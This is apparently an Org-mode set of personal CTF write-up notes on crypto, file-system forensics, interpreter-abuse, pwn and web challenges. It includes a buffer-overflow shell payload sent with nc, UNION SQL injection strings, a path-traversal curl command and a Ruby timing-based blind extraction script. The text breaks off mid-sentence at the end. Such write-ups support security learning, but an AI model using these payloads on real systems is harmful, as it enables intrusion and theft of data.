#+OPTIONS: todo:t * TODO Crypto [1/3] ** TODO Danced - I'd have to learn Go to debug this server, so I skipped it - It seems to be using various DJB stream ciphers (hence the name) ** DONE Decrypted - http://35.207.189.79/pyserver/server.py shows an API endpoint exposing an encryption challenge using RSA - http://35.207.189.79/wee/encryptiontest - The given parameters are the ciphertext, modulus and exponent (3) - The ciphertext is way smaller than the modulus, so exponentiation of it doesn't overflow the modulus - This means that you can just take the integer cube root of the ciphertext to get the plaintext - Convert it to a string buffer to get the flag ** TODO pretty_linear - This is a server doing a homebrew challenge-response format - The key is a secret array of 40 integers - The challenge is an array of 40 integers (which show up separated by spaces in the =.pcap= file) - Then the server multiplies each challenge integer with the corresponding key integer mod P and adds them up - It then compares it against the response (which ends up in the =.pcap= file as well) - If the comparison is fine, it prints out the flag encrypted with a key derived from the key bytes - This involves some mathematics, so I didn't bother solving it - It turned out that Sagemath contains ready-made code for this task * TODO For [2/3] ** DONE rare_mount - We get some unknown kind of file system image (=file= cannot identify it) - Using =binwalk= without arguments reveals it's JFFS2 - It's an odd one used mostly in routers, with the oddity that it comes in little and big endian (which the challenge description hints at) - I fiddled around with =mtd-utils= to convert the image from big to little endian, then =file= managed recognizing it - I used some other =mtd-utils= tool to mount the file system, it contains a Rickroll video which stops playing in the middle - Using =r2= showed that the file contains a bunch of "holes" (a region of NUL bytes) in the middle of the blocks belonging to the video - I then learned that =binwalk -e= supports automatic extraction of this file system if you install =jefferson= - It managed extracting a text file containing the flag, additionally to the video ** DONE epic_mount - Same kind of file system image as in the previous challenge - I directly used =binwalk -e=, this time it only extracted the Rickroll video (which played back fully this time) - I noticed that both the previous and the current file system image had the same size, so I used `radiff2` to compare them - This showed two things, first of all the hole of zeroes was patched with a video segment, but more interestingly, there were lots of small patches for single bytes - Each byte was in the printable ASCII range - If you put them together, you get the flag - =radiff2 -x= shows a colored hex column which makes this a tad easier ** TODO legendary_mount - Same kind of file system image as in the previous challenge - Nothing interesting gained from using =binwalk -e= - This time I couldn't even mount the image - Diffing it with the previous one showed lots of noise, with the last block containing a fake flag - This turned out to be compressed data, with some fixes it can be decompressed to the actual flag * TODO Misc [7/8] ** DONE Conversion Error - This one is about the bespoke extensions done to the Wee interpreter written in JS in http://35.207.189.79/weelang/weeterpreter.ts - You have to submit code to be evaluated to http://35.207.189.79/wee/run - If the assertion fails, you get the flag - Here you have to submit a numeric looking string that when converted to a number has a different length than the original thing - =alert(assert_conversion('1.99999999999999999999999999999999999'))= ** DONE Equality Error - See above - You need a number that's not equal to itself - Divide 0 by 0 to obtain =NaN= - =alert(assert_equals(0/0))= ** DONE Number Error - See above - You need a number that's neither infinite nor NaN, but behaves like them: If incremented by one, it's still the same as before - Pass a sufficiently big number that overflows into a float - =alert(assert_number(9007199254740992))= ** DONE Wee R Leet - See above - Pass a number equal to =0x1337= - =alert(assert_leet(4919))= ** DONE Wee Token - See above - Exploit type confusion, that is something the language considers a string, but which is a different JS type - The =eval= function incorrectly declares its result a string - =alert(assert_string(eval('0')))= ** DONE Layers - The =eval= function in http://35.207.189.79/weelang/weeterpreter.ts actually evaluates JS code in a special browser context - This browser context evaluates =`store('${flags.LAYERS}')`= initially - This variable is most likely stored in the =window= object, if you eval =typeof window=, you'll see that it's defined - Eval =alert(eval('var offset = 0; var x = []; for (var i in window) { x.push(i); }; x.slice(offset)'))= to get an array of keys in the =window= object, fiddle with =offset= to see the remaining ones - This confirms that =window.store= is indeed a thing, =typeof window.store= shows that it's a function - You can obtain its source code with =window.store.toString= - It's minimally obfuscated by hex-encoding the string contents, renaming variables and using strings and arrays to access basic built-ins - The code ends up doing =document.getElementById("fun").innerText = x= - Therefore the flag can be obtained by evaluating =document.getElementById("fun").innerText= - It contains the base64-encoded flag #+BEGIN_SRC js function store(x) { var d = document var _0x68de=[\"\\x62\\x74\\x6F\\x61\"] var x=window[_0x68de[0]](x) var _0x2d8a = [ \"\\x69\\x6E\\x6E\\x65\\x72\\x54\\x65\\x78\\x74\", \"\\x66\\x75\\x6E\", \"\\x67\\x65\\x74\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x42\\x79\\x49\\x64\" ] d[_0x2d8a[2]](_0x2d8a[1])[_0x2d8a[0]] = x } #+END_SRC ** DONE /dev/null - This is an API endpoint much like =/wee/run=, but it first sets a variable to the flag, evaluates user-provided code in that context, then throws the result away and returns ="GONE"= - Evaluation times out after 5s - Wee has a built-in =pause= function which can be used to conditionally wait - Using this fact one can construct yes/no queries about the flag, much like with a timing-based blind SQL injection - First of all the length is determined, then each character code is guessed - A binary search speeds this up considerably #+BEGIN_SRC ruby require 'net/http' require 'benchmark' require 'socket' TEMPLATE = '{"code": "if (length(DEV_NULL) >= NNN) then\npause(2000)\nend"}' TEMPLATE2 = '{"code": "if (ord(charAt(DEV_NULL, NNN)) >= YYY) then\npause(2000)\nend"}' def http_request(template, vars) uri = URI('http://35.207.189.79/wee/dev/null') req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json') body = template vars.each { |k, v| body = body.sub(k, v) } req.body = body http = Net::HTTP.new(uri.host, uri.port) Benchmark.realtime { http.request(req) } end def guess_flag_length (1..100).bsearch { |n| http_request(TEMPLATE, 'NNN' => n.to_s) < 2 } - 1 end def guess_flag_char(i) (1..127).bsearch { |n| p n; http_request(TEMPLATE2, 'NNN' => i.to_s, 'YYY' => n.to_s) < 2 } - 1 end len = guess_flag_length flag = (0..flag_len).map { |i| guess_flag_char(i).chr }.join puts flag #+END_SRC ** TODO ultra secret - This is a Rust server which accepts a password of 32 characters and checks each letter whether it matches up with a secret hash, after failing the check it exits early - I've rewritten the code for =/dev/null= to do a TCP connection attempt, but couldn't measure anything reliably - I've tried figuring out whether the service did anything stupid, but gave up since I don't know Rust * TODO Of course [0/2] ** TODO Entrance - Smart contracts - I'm vaguely aware they can be exploited and that https://dasp.co/ is a thing, but it's too much effort to learn this just for this occasion - The title suggests this is item #1 on the list linked above, a re-entrancy attack ** TODO Future - See above * TODO Pwn [1/7] - I've never learned how to do these, but figured it's a chance to learn a bit of gdb and teach a team member who started reading "The Art of Exploitation" ** DONE 1996 - http://x32.be/bof.txt - http://phrack.org/issues/49/14.html - https://people.freebsd.org/~lstewart/articles/cpumemory.pdf - The tarball contains a vulnerable application and its C++ sources - It reads in user input to get the name of an environment variable, then prints its value - There's also an unused =spawn_shell= function - The task is to smash the stack to hijack the return address to the =spawn_shell= function - By checking the disassembly in =gdb= or using =objdump -t= you can find its address, 0x0000000000400897 - Break on the main function, then step until the point where user input is read in and enter a bunch of A's - Inspect the stack with =x/20x $rsp-20=, then frame info with =info frame= - This shows how far =$rip= is away from the address where the A's are stored, in our case 1048 bytes - The payload is therefore 1048 A's, followed by the address of =spawn_shell= in little-endian - =perl -e 'print "A"x1048 . "\x97\x08\x40\x00\x00\x00\x00\x00"' > input.txt= - A shell can be spawned successfully in =gdb= with =run < input.txt= - Outside of =gdb= however no shell ever starts - Using =strace= reveals that it does start, but quits before even printing a prompt - This is due to the behavior of file redirection (and pipes) here, =1996= reads from the file until EOF, then the spawned =bash= tries to read more, but fails and quits - =(cat input.txt; cat) | ./1996= behaves as expected, the first =cat= provides the payload (and quits), the second one stays open and keeps the spawned =bash= from quitting - =(cat input.txt; cat) | nc 35.207.132.47 22227= spawns a shell, executing =ls= shows a =flag.txt= in the current directory #+BEGIN_SRC c++ // compile with -no-pie -fno-stack-protector #include #include #include using namespace std; void spawn_shell() { char* args[] = {(char*)"/bin/bash", NULL}; execve("/bin/bash", args, NULL); } int main() { char buf[1024]; cout << "Which environment variable do you want to read? "; cin >> buf; cout << buf << "=" << getenv(buf) << endl; } #+END_SRC ** TODO arraymaster1 - Skipped ** TODO arraymaster2 - Skipped ** TODO poet - This program comes without source, but with a corresponding libc for some reason - It asks for a poem and name, then scores it by tokenizing it and checking for specific words - You need to reach a specific number of points to get a prize (presumably the flag) - Trial and error shows that you can't get nearly enough points by repeating words and run into a segfault first - =rabin2 -I= shows that the stack isn't executable, so you presumably need to overflow a value on the stack the program checks to match the accepted number of points - Messing around with the poem wasn't terribly successful - We should have tested the poet name, too... ** TODO stringmaster1 - Skipped ** TODO stringmaster2 - Skipped ** TODO sum - Skipped * TODO Web [7/10] ** TODO blind - PHP syntax highlighting script that shows its own source - You can make it show =phpinfo()= output - You can change the syntax highlighting colors and store them in a cookie - The cookie is deserialized - The code itself dynamically creates classes depending on the settings and defines an =__autoload= function which uses =include= on the class - This means that if you try to create an arbitrary class by editing the cookie and it tries including the file - So, if you try to create the class =flag=, it tries including a file by that name in the search path, but fails since the flag isn't inside it - An alternative way would be generating an already existing built-in class that somehow reads in and exposes the flag - No luck with that though since we didn't find a class accepting exactly four arguments - This turned out to be something from the updated OWASP top 10, XXE (by using a XML class taking four arguments and including an entity making a request exfiltrating the flag to an attacker-controlled server) ** DONE collider - Web application expecting two PDFs that contain specific text - If both have the same MD5 hash, it prints out the flag - I've generated minimal PDF files with the desired text and verified that they were accepted, but then rejected due to the hash - Using https://github.com/corkami/pocs/blob/master/collisions/scripts/pdf.py and the auxiliary PDF files inside the =scripts= directory I got new files passing the hash collision check ** DONE Logged In - There are API calls in http://35.207.189.79/pyserver/server.py for signing up, logging in and verifying your account - Craft successful requests for each - The flag is included in the headers of the last POST request ** DONE DB Secret - The Wee server creates a =secrets= table and inserts the flag at initialization - There is a SQL injection possible in the admin API endpoint for retrieving all project contents - It requires a valid user token first, obtain it like with =Logged in= - Craft a successful request with the name set to admin (it's not verified to match the token information), then you get projects with SQL injection attempts in their code - The injection happens when interpolating user input into the query for the offset - Initial test with =' ORDER BY 9001--= to make sure a different query than the stock one was executed - ='UNION SELECT id, secret FROM secrets--= errors out as the column counts don't match up - =' UNION SELECT id, id, id, id, id, id, id, secret FROM secrets--= works! ** DONE flags - This PHP script includes a file based on the browser-provided =Accept-Language= header and includes a base64-encoded data URL - There is basic sanitization happening to prevent Local File Inclusion attacks, but replacing =../= once isn't enough - This means that something like =..././= is changed to =../= - =curl -H 'Accept-Language: ..././..././..././..././..././..././..././..././..././..././flag' http://35.207.169.47/= to get the base64-encoded flag ** TODO localhost - The Wee server includes special headers for everything except image files of the GIF, JPG and PNG types - If the host in the request is localhost, it adds a header containing the flag - I've tried faking the host by adding =X-Forwarded-For= to the header without any luck - There is a special API endpoint that proxies image requests and adds their headers to the response, no luck with it either - This turned out to be SSRF, if you instruct that endpoint to run a query against =localhost=, you could do this for your own images, such as the =kitten.png= API endpoint - It won't give you the flag (as it's a PNG), but a request against a different local resource would ** DONE McDonald - Cryptic hint about the admin throwing apple cores away - http://35.207.91.38/robots.txt contains =Disallow: /backup/.DS_Store= - This file exists and can be analyzed with https://github.com/gehaxelt/Python-dsstore - It shows three file entries, =a=, =b= and =c= - If you request =/a/.DS_Store=, =/b/.DS_Store= and =/c/.DS_Store=, you'll find that the latter two exist - Repeat this recursively until you discover the existence of =/b/a/c/flag.txt= ** TODO NOT IMPLEMENTED - This flag is only referenced in a non-accessible Python file - The hint suggests that =Layers= is the challenge from where you can launch this one - Rumor has it that one can create new DOM elements by using Wee's =eval=, a =